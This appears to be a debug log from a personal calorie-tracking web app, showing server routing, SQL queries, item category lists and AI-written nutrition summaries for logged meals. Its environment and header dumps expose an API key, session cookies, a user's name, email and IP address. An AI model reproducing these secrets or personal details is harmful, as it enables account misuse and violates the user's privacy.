    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T11:16:07.901Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T11:20:26.908Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T11:20:26.909Z server-connect:app Executing action step identify
2025-12-16T11:20:26.909Z server-connect:app options: { provider: 'security' }
2025-12-16T11:20:26.909Z server-connect:output identity: 1
2025-12-16T11:20:26.909Z server-connect:app Executing action step restrict
2025-12-16T11:20:26.909Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T11:20:26.910Z server-connect:output restrict: undefined
2025-12-16T11:20:26.911Z server-connect:router Render template layouts/main
2025-12-16T11:20:26.911Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1348a-9rFLNiGsox9MjSmbkbVSIn/ucM8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T12:38:44.137Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1348a-9rFLNiGsox9MjSmbkbVSIn/ucM8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-16T11:20:28.910Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T11:20:28.912Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-16T11:20:28.913Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T11:20:28.914Z server-connect:app Executing action step identify
2025-12-16T11:20:28.914Z server-connect:app options: { provider: 'security' }
2025-12-16T11:20:28.914Z server-connect:output identity: 1
2025-12-16T11:20:28.914Z server-connect:app Executing action step restrict
2025-12-16T11:20:28.914Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T11:20:28.914Z server-connect:app Executing action step identify
2025-12-16T11:20:28.914Z server-connect:app options: { provider: 'security' }
2025-12-16T11:20:28.914Z server-connect:output identity: 1
2025-12-16T11:20:28.915Z server-connect:app Executing action step restrict
2025-12-16T11:20:28.915Z server-connect:app options: { provider: 'security' }
2025-12-16T11:20:28.915Z server-connect:output restrict: undefined
2025-12-16T11:20:28.915Z server-connect:app Executing action step single
2025-12-16T11:20:28.915Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-16T11:20:28.916Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-16T11:20:28.916Z server-connect:app Executing action step identify
2025-12-16T11:20:28.916Z server-connect:app options: { provider: 'security' }
2025-12-16T11:20:28.917Z server-connect:output identity: 1
2025-12-16T11:20:28.917Z server-connect:app Executing action step restrict
2025-12-16T11:20:28.917Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T11:20:28.917Z server-connect:output restrict: undefined
2025-12-16T11:20:28.917Z server-connect:app Executing action step select
2025-12-16T11:20:28.917Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T11:20:28.918Z server-connect:app Executing action step identify
2025-12-16T11:20:28.918Z server-connect:app options: { provider: 'security' }
2025-12-16T11:20:28.918Z server-connect:output identity: 1
2025-12-16T11:20:28.918Z server-connect:app Executing action step restrict
2025-12-16T11:20:28.918Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T11:20:28.919Z server-connect:output summary: {
  summary: {
    rating: 5,
    summary: "The day's food intake appears to be a mix of processed and home-cooked items, with a noticeable portion of the day's energy coming from carbohydrate-rich foods. While there were instances of protein intake, it may not be optimally structured for muscle development alongside fat loss given the workout routine. Meal timing seems somewhat spread out, but recovery support could be enhanced.",
    bad_points: [
      'The overall protein intake seems insufficient to optimally support muscle development and recovery after early morning gym sessions.',
      'Several items, like idli with ketchup and digestive biscuits, are less nutrient-dense and might contribute to less efficient progress.',
      'Sugar in the milk coffee contributes to unnecessary energy intake without significant nutritional benefit.',
      'Fat content in Aloo Gobi, while likely from healthy cooking methods, adds to the overall energy of the meal.'
    ],
    good_points: [
      'Inclusion of green tea for hydration and potential metabolic support.',
      'Incorporation of whole wheat roti as a complex carbohydrate source.',
      'Consumption of makhana provides a lighter, less processed snack option.'
    ],
    suggestions: [
      'Prioritize protein-rich foods with each meal to better support muscle building and satiety.',
      'Consider incorporating lean protein sources like chicken, fish, paneer, or lentils in larger portions.',
      'Review snack choices to ensure they are aligned with goals, perhaps opting for nuts, seeds, or Greek yogurt.',
      'Hydrate adequately throughout the day, especially around workout times.'
    ],
    predicted_weight: 70.1,
    predicted_weight_trend: 'A gradual decrease in body weight.'
  },
  date: '2025-12-15T18:30:00.000Z'
}
2025-12-16T11:20:28.920Z server-connect:output restrict: undefined
2025-12-16T11:20:28.920Z server-connect:app Executing action step single
2025-12-16T11:20:28.920Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T11:20:28.925Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T11:20:28.926Z server-connect:output restrict: undefined
2025-12-16T11:20:28.926Z server-connect:app Executing action step single
2025-12-16T11:20:28.926Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-16T11:20:28.928Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T11:20:28.930Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-16T11:20:28.930Z server-connect:app Executing action step select
2025-12-16T11:20:28.930Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-16T11:20:28.932Z server-connect:output item_list: [
  {
    id: 402,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)',
    replacements: 'Black tea (no milk),Green tea (no milk),Tea with skim milk or unsweetened plant-based milk (almond, soy),Tea with less milk',
    created_at: '2025-12-15T21:00:48.000Z',
    skip_level: 1,
    skip_reason: 'This item provides some protein and calcium from the milk, which are beneficial for muscle development and bone health. By being sugar-free, it avoids empty calories. The moderate fat content from half a cup of full-fat milk is acceptable for an active individual focused on muscle development.'
  },
  {
    id: 403,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)',
    replacements: 'Steamed Idli (no oil),Idli made with very minimal oil spray on a non-stick pan,Idli with a higher proportion of urad dal (lentils) for increased protein content',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 2,
    skip_reason: "While Idli is a good carbohydrate source providing energy for your gym sessions, 'light fried' adds extra fats and calories from the oil. For lean muscle development, it's generally better to consume steamed versions to control fat intake, especially when managing overall calorie intake with a desk job lifestyle."
  },
  {
    id: 404,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)',
    replacements: 'Sugar-free ketchup,Homemade fresh tomato salsa or chutney (with minimal added sugar and oil),Herbal chutneys (e.g., mint, coriander) without added sugar',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 3,
    skip_reason: 'Ketchup is typically high in added sugars and provides minimal to no nutritional value (empty calories). Consuming empty calories from added sugars is counterproductive to muscle development goals and overall health, especially when aiming for a lean physique.'
  },
  {
    id: 405,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (240ml)',
    replacements: '',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 1,
    skip_reason: 'Green tea is rich in antioxidants, boosts metabolism, and is virtually calorie-free, making it an excellent choice for health and fitness goals.'
  },
  {
    id: 406,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Milk Sugar Coffee',
    calories: 132,
    protein_gm: 4,
    carbs_gm: 24,
    fat_gm: 2,
    quantity: '1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar)',
    replacements: 'Black coffee (no milk, no sugar),Coffee with skim milk (or plant-based milk like unsweetened almond milk) and no added sugar or an artificial sweetener (e.g., stevia),Coffee with reduced sugar (e.g., 1 teaspoon instead of 1.5 spoons)',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 2,
    skip_reason: 'The significant amount of added sugar (18g) contributes empty calories, which are not optimal for muscle development and can hinder fat loss. While toned milk provides some protein, the overall calorie profile is not as nutrient-dense as other options. For muscle development, calories are best sourced from lean protein and complex carbohydrates.'
  },
  {
    id: 407,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Roti (Whole Wheat)',
    calories: 375,
    protein_gm: 12,
    carbs_gm: 75,
    fat_gm: 3,
    quantity: '3 medium (approx 40g each, total 120g)',
    replacements: 'Jowar/Bajra/Ragi Roti (similar calories but potentially better nutrient profile, higher fiber),Reduce quantity if carbohydrate intake needs to be controlled, replace with more vegetables or lean protein',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates, providing sustained energy for workouts and muscle recovery. Whole wheat also offers fiber and essential nutrients, which are beneficial for overall health and digestion.'
  },
  {
    id: 408,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Aloo Gobi Sabzi',
    calories: 214,
    protein_gm: 3,
    carbs_gm: 18,
    fat_gm: 15,
    quantity: '1 medium bowl (approx 150g, assuming moderate oil)',
    replacements: 'More Gobi (cauliflower), less Aloo (potato) to reduce starch and calories,Cook with minimal oil/ghee or use healthy cooking sprays to reduce fat content,Add more non-starchy vegetables like spinach, carrots, or beans to increase volume and nutrients without excess calories',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 2,
    skip_reason: "Potatoes provide good carbohydrates for energy, and cauliflower is a nutrient-dense vegetable rich in vitamins and fiber. However, this sabzi is often prepared with a significant amount of oil/ghee, which adds a lot of calories and fat. For muscle development, it's beneficial to control fat intake from cooking oils while prioritizing lean protein and complex carbs. A leaner preparation would be more ideal."
  },
  {
    id: 409,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Digestive Biscuits',
    calories: 152,
    protein_gm: 2,
    carbs_gm: 22,
    fat_gm: 6,
    quantity: '2 biscuits (approx 32g, assuming 16g per biscuit)',
    replacements: 'Whole grain crackers (plain),Apple slices with a sprinkle of cinnamon,Plain roasted chickpeas',
    created_at: '2025-12-16T05:22:45.000Z',
    skip_level: 2,
    skip_reason: 'While providing some energy, digestive biscuits are processed and often contain refined flour, added sugars, and unhealthy fats. For muscle development and managing energy for a desk job, nutrient-dense whole foods that offer more protein and fiber, or slower-digesting complex carbohydrates, would be more beneficial.'
  },
  {
    id: 410,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Makhana (Fox Nuts)',
    calories: 88,
    protein_gm: 2,
    carbs_gm: 19,
    fat_gm: 0,
    quantity: '1 handful (approx 25g)',
